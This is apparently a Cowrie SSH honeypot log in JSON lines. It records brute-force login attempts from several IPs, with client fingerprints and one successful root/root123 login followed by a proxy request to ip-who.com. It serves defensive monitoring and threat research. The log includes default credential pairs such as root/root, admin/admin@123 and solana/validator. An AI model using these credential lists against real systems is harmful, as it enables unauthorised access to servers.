{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:40.182446Z","src_ip":"27.79.44.181","session":"814cfd2e3d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:40.226752Z","src_ip":"27.79.44.181","session":"814cfd2e3d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:41.832197Z","src_ip":"27.79.44.181","session":"814cfd2e3d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:43.550471Z","src_ip":"27.79.44.181","session":"814cfd2e3d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":52738,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6240c2b142","protocol":"ssh","message":"New connection: 2.57.122.210:52738 (159.203.135.109:22) [session: dc6240c2b142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:50.382411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:50.388959Z","src_ip":"2.57.122.210","session":"dc6240c2b142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:50.487690Z","src_ip":"2.57.122.210","session":"dc6240c2b142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:50.787669Z","src_ip":"2.57.122.210","session":"dc6240c2b142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:51.889158Z","src_ip":"2.57.122.210","session":"dc6240c2b142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":51768,"dst_ip":"10.17.0.5","dst_port":22,"session":"119aa0c6c3bd","protocol":"ssh","message":"New connection: 200.225.246.102:51768 (10.17.0.5:22) [session: 119aa0c6c3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:52.465843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:52.470494Z","src_ip":"200.225.246.102","session":"119aa0c6c3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:52.600365Z","src_ip":"200.225.246.102","session":"119aa0c6c3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teaspeak","password":"123456","message":"login attempt [teaspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:53.145137Z","src_ip":"200.225.246.102","session":"119aa0c6c3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:20:54.277046Z","src_ip":"200.225.246.102","session":"119aa0c6c3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":59878,"dst_ip":"10.17.0.5","dst_port":22,"session":"88401d5ed521","protocol":"ssh","message":"New connection: 200.225.246.102:59878 (10.17.0.5:22) [session: 88401d5ed521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:22:55.465851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:22:55.470466Z","src_ip":"200.225.246.102","session":"88401d5ed521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:22:55.599585Z","src_ip":"200.225.246.102","session":"88401d5ed521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rke","password":"1234","message":"login attempt [rke/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:22:56.145906Z","src_ip":"200.225.246.102","session":"88401d5ed521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:22:57.277793Z","src_ip":"200.225.246.102","session":"88401d5ed521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":55484,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e8c66e47cd","protocol":"ssh","message":"New connection: 2.57.122.210:55484 (159.203.135.109:22) [session: 96e8c66e47cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:01.426369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:01.435914Z","src_ip":"2.57.122.210","session":"96e8c66e47cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:01.536998Z","src_ip":"2.57.122.210","session":"96e8c66e47cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:01.840811Z","src_ip":"2.57.122.210","session":"96e8c66e47cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:02.943014Z","src_ip":"2.57.122.210","session":"96e8c66e47cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":50832,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d50ad968c6","protocol":"ssh","message":"New connection: 27.79.44.181:50832 (10.17.0.5:22) [session: a7d50ad968c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:13.711104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:13.835337Z","src_ip":"27.79.44.181","session":"a7d50ad968c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:15.819207Z","src_ip":"27.79.44.181","session":"a7d50ad968c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:17.369292Z","src_ip":"27.79.44.181","session":"a7d50ad968c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:18.741843Z","src_ip":"27.79.44.181","session":"a7d50ad968c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":54754,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc60f4d44a4","protocol":"ssh","message":"New connection: 27.79.44.181:54754 (10.17.0.5:22) [session: cfc60f4d44a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:52.510690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:52.515125Z","src_ip":"27.79.44.181","session":"cfc60f4d44a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:52.772978Z","src_ip":"27.79.44.181","session":"cfc60f4d44a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:54.886244Z","src_ip":"27.79.44.181","session":"cfc60f4d44a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.44.181","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:55.150714Z","session":"cfc60f4d44a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:55.454672Z","src_ip":"27.79.44.181","session":"cfc60f4d44a4","protocol":"ssh"}
